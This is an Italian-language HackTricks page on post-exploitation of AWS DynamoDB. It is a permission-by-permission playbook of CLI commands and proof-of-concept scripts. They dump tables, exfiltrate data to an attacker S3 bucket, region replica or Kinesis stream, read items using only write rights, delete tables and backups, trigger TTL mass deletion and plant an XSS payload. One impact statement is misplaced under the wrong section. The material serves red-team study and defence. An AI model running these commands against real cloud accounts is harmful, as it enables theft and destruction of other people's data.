AWS - DynamoDB Post Exploitation

Reading time: 18 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

DynamoDB

Per maggiori informazioni consulta:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Un attaccante con questo permesso sarà in grado di ottenere item dalle tabelle tramite la chiave primaria (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (describe-table).

bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impatto potenziale: privesc indiretto individuando informazioni sensibili nella tabella

dynamodb:GetItem

Simile alle autorizzazioni precedenti questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria dell'elemento da recuperare:

json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Con questo permesso è anche possibile usare il metodo transact-get-items come:

json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impatto potenziale: Indirect privesc localizzando informazioni sensibili nella tabella

dynamodb:Query

Simile alle autorizzazioni precedenti questa permette a un potenziale attacker di leggere valori da una sola tabella dato il primary key della voce da recuperare. Permette di usare un subset of comparisons, ma l'unico confronto consentito con il primary key (che deve essere presente) è "EQ", quindi non è possibile usare un confronto per ottenere l'intero DB in una singola richiesta.

bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Impatto potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:Scan

Puoi usare questa autorizzazione per dump dell'intera tabella con facilità.

bash
aws dynamodb scan --table-name <t_name> #Get data inside the table

Impatto potenziale: privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:PartiQLSelect

Puoi usare questo permesso per dump dell'intera tabella facilmente.

bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Questa permission consente anche di eseguire batch-execute-statement come:

bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

ma devi specificare la chiave primaria con un valore, quindi non è molto utile.

Impatto potenziale: Indirect privesc localizzando informazioni sensibili nella tabella

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Questo permesso permetterà a un attaccante di esportare l'intera tabella in un S3 bucket di sua scelta:

bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Nota che perché questo funzioni, la tabella deve avere abilitato point-in-time-recovery; puoi verificare se la tabella lo ha con:

bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>

Se non è abilitato, dovrai abilitarlo e per farlo hai bisogno della dynamodb:ExportTableToPointInTime autorizzazione:

bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impatto potenziale: Indirect privesc individuando informazioni sensibili nella tabella

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Con queste autorizzazioni, un attacker sarebbe in grado di creare una nuova tabella da un backup (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare informazioni dai backup che potrebbero non essere più nella tabella di produzione.

bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impatto potenziale: privesc indiretto reperendo informazioni sensibili nel backup della tabella

dynamodb:PutItem

Questa autorizzazione permette agli utenti di aggiungere un nuovo item alla tabella o sostituire un item esistente con un nuovo item. Se un item con la stessa chiave primaria esiste già, l'intero item sarà sostituito con il nuovo item. Se la chiave primaria non esiste, un nuovo item con la chiave primaria specificata sarà creato.

bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Impatto potenziale: Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB

dynamodb:UpdateItem

Questa autorizzazione consente agli utenti di modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item. Non sostituisce l'intero item; aggiorna solo gli attributi specificati. Se la primary key non esiste nella tabella, l'operazione creerà un nuovo item con la primary key specificata e imposterà gli attributi specificati nell'update expression.

bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Impatto potenziale: Sfruttamento di ulteriori vulnerabilità/bypasses consentendo di aggiungere/modificare dati in una tabella DynamoDB

dynamodb:DeleteTable

Un attacker con questa autorizzazione può cancellare una tabella DynamoDB, causando perdita di dati.

bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potential impact: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.

dynamodb:DeleteBackup

Un attaccante con questa autorizzazione può eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di ripristino dopo un disastro.

bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potential impact: Perdita di dati e incapacità di recuperare da un backup durante uno scenario di disaster recovery.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

note

TODO: Verificare se questo funziona effettivamente

Un attacker con queste autorizzazioni può enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time. Questo consente all'attacker di monitorare ed exfiltrate le modifiche ai dati, potenzialmente causando data leakage.

  1. Abilitare uno stream su una tabella DynamoDB:
bash
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Descrivi lo stream per ottenere l'ARN e altri dettagli:
bash
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Ottieni lo shard iterator usando lo stream ARN:
bash
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impatto potenziale: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.

Leggere elementi tramite dynamodb:UpdateItem e ReturnValues=ALL_OLD

Un attaccante con solo dynamodb:UpdateItem su una tabella può leggere gli elementi senza nessuno dei consueti permessi di lettura (GetItem/Query/Scan) eseguendo un update benigno e richiedendo --return-values ALL_OLD. DynamoDB restituirà l'immagine completa pre-update dell'item nel campo Attributes della risposta (questo non consuma RCUs).

  • Permessi minimi: dynamodb:UpdateItem sulla tabella/chiave target.
  • Prerequisiti: Devi conoscere la chiave primaria dell'item.

Esempio (aggiunge un attributo innocuo e exfiltrates l'item precedente nella risposta):

bash
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

La risposta della CLI includerà un blocco Attributes contenente l'intero elemento precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso solo in scrittura.

Impatto potenziale: Leggere elementi arbitrari da una tabella avendo solo permessi di scrittura, consentendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (version 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attacker, da cui l'attacker può leggere tutti gli elementi.

bash
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

Autorizzazioni: dynamodb:UpdateTable (con replica-updates) oppure dynamodb:CreateTableReplica sulla tabella di destinazione. Se nella replica viene usata una CMK, potrebbero essere necessarie autorizzazioni KMS per quella chiave.

Impatto potenziale: replica dell'intera tabella in una regione controllata dall'attaccante, permettendo un'esfiltrazione furtiva di dati.

dynamodb:TransactWriteItems (lettura tramite condizione fallita + ReturnValuesOnConditionCheckFailure=ALL_OLD)

Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un Update all'interno di TransactWriteItems che provoca intenzionalmente il fallimento di una ConditionExpression impostando contemporaneamente ReturnValuesOnConditionCheckFailure=ALL_OLD. In caso di fallimento, DynamoDB include gli attributi precedenti nelle ragioni di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in un accesso in lettura alle chiavi mirate.

bash
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

Permessi: dynamodb:TransactWriteItems sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura.

Impatto potenziale: leggere item arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query su GSI

Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con ProjectionType=ALL su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi effettuare una Query sull'indice per recuperare gli item completi. Funziona anche se Query/Scan sulla tabella base sono negati, purché sia possibile interrogare l'ARN dell'indice.

  • Permessi minimi:
  • dynamodb:UpdateTable sulla tabella target (per creare la GSI con ProjectionType=ALL).
  • dynamodb:UpdateItem sulle chiavi della tabella target (per impostare l'attributo indicizzato su ogni item).
  • dynamodb:Query sull'index resource ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

Passaggi (PoC in us-east-1):

bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Impatto potenziale: Esfiltrazione completa della tabella interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.

dynamodb:EnableKinesisStreamingDestination (Exfiltrazione continua via Kinesis Data Streams)

Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in tempo quasi reale allo stream senza necessità di permessi di lettura sulla tabella.

Permessi minimi (attaccante):

  • dynamodb:EnableKinesisStreamingDestination sulla tabella target
  • Opzionalmente dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable per monitorare lo stato
  • Permessi di lettura sul Kinesis stream di proprietà dell'attaccante per consumare i record: kinesis:*
PoC (us-east-1)
bash
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}

# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1

# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus

# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}

# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .

# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true

dynamodb:UpdateTimeToLive

Un attacker con il permesso dynamodb:UpdateTimeToLive può modificare la configurazione TTL (time-to-live) di una tabella — abilitando o disabilitando il TTL. Quando il TTL è abilitato, gli items che contengono l'attributo TTL configurato vengono automaticamente eliminati una volta raggiunto il loro tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni item; gli items privi di quell'attributo non sono interessati dall'eliminazione basata su TTL.

Se gli items non contengono già l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli items (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e scatenare eliminazioni di massa.

Per prima cosa abilita il TTL sulla tabella, specificando il nome dell'attributo da usare per la scadenza:

bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

Quindi aggiorna gli items per aggiungere l'attributo TTL (epoch seconds) in modo che scadano e vengano rimossi:

bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

Un attaccante con le autorizzazioni dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene un'immagine completa dei dati al punto selezionato, quindi l'attaccante può usarla per esfiltrare informazioni storiche o ottenere un dump completo dello stato passato del database.

Ripristinare una tabella DynamoDB da un backup on-demand:

bash
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

Ripristinare una tabella DynamoDB a un punto nel tempo (creare una nuova tabella con lo stato ripristinato):

bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

Impatto potenziale: Esfiltrazione continua, quasi in tempo reale, delle modifiche della tabella verso un attacker-controlled Kinesis stream senza operazioni di lettura dirette sulla tabella.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks